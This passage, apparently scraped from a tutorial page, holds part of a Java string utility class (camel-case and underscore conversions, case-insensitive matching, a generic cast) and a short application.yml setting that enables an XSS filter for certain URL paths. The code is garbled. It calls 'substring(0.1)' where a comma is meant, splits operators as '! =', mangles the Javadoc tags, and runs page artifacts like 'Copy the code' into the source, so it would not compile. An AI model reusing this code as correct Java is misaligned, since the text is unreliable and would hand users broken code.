/** ** underline the hump name */
public static String toUnderScoreCase(String str)
{
if (str == null)
{
return null;
}
StringBuilder sb = new StringBuilder();
// Whether the leading character is capitalized
boolean preCharIsUpperCase = true;
// Whether the current character is capitalized
boolean curreCharIsUpperCase = true;
// Whether the next character is capitalized
boolean nexteCharIsUpperCase = true;
for (int i = 0; i < str.length(); i++)
{
char c = str.charAt(i);
if (i > 0)
{
preCharIsUpperCase = Character.isUpperCase(str.charAt(i - 1));
}
else
{
preCharIsUpperCase = false;
}
curreCharIsUpperCase = Character.isUpperCase(c);
if (i < (str.length() - 1))
{
nexteCharIsUpperCase = Character.isUpperCase(str.charAt(i + 1));
}
if(preCharIsUpperCase && curreCharIsUpperCase && ! nexteCharIsUpperCase) { sb.append(SEPARATOR); }else if((i ! =0 && !preCharIsUpperCase) && curreCharIsUpperCase)
{
sb.append(SEPARATOR);
}
sb.append(Character.toLowerCase(c));
}
return sb.toString();
}
/** * whether to contain string **@paramSTR Validates the string *@paramSTRS String group *@returnContains returns true */
public static boolean inStringIgnoreCase(String str, String... strs)
{
if(str ! =null&& strs ! =null)
{
for (String s : strs)
{
if (str.equalsIgnoreCase(trim(s)))
{
return true; }}}return false;
}
/** * capitalizes the underlined string to hump. Returns an empty string if the uppercase underlined string before the conversion is empty. For example: HELLO_WORLD->HelloWorld * *@paramName Underscore before conversion Uppercase name string *@returnThe converted camel-named string */
public static String convertToCamelCase(String name)
{
StringBuilder result = new StringBuilder();
// Quick check
if (name == null || name.isEmpty())
{
// There is no need to convert
return "";
}
else if(! name.contains("_"))
{
// Uppercase only the first letter without underscore
return name.substring(0.1).toUpperCase() + name.substring(1);
}
// Split the original string with an underscore
String[] camels = name.split("_");
for (String camel : camels)
{
// Skip the beginning, end, or double underline in the original string
if (camel.isEmpty())
{
continue;
}
// Uppercase
result.append(camel.substring(0.1).toUpperCase());
result.append(camel.substring(1).toLowerCase());
}
return result.toString();
}
/** * Camel name for example: user_name->userName */
public static String toCamelCase(String s)
{
if (s == null)
{
return null;
}
s = s.toLowerCase();
StringBuilder sb = new StringBuilder(s.length());
boolean upperCase = false;
for (int i = 0; i < s.length(); i++)
{
char c = s.charAt(i);
if (c == SEPARATOR)
{
upperCase = true;
}
else if (upperCase)
{
sb.append(Character.toUpperCase(c));
upperCase = false;
}
else{ sb.append(c); }}return sb.toString();
}
@SuppressWarnings("unchecked")
public static <T> T cast(Object obj)
{
return(T) obj; }}Copy the codeappliction.yml
Enable filtering, specify the interface filter and specify the interface not filter
# Prevent XSS attacks
xss:
# Filter switch
enabled: true
# Exclude links (multiple separated by commas)
excludes: /system/notice/*
# match link
urlPatterns: /user/*,/user/save
Copy the code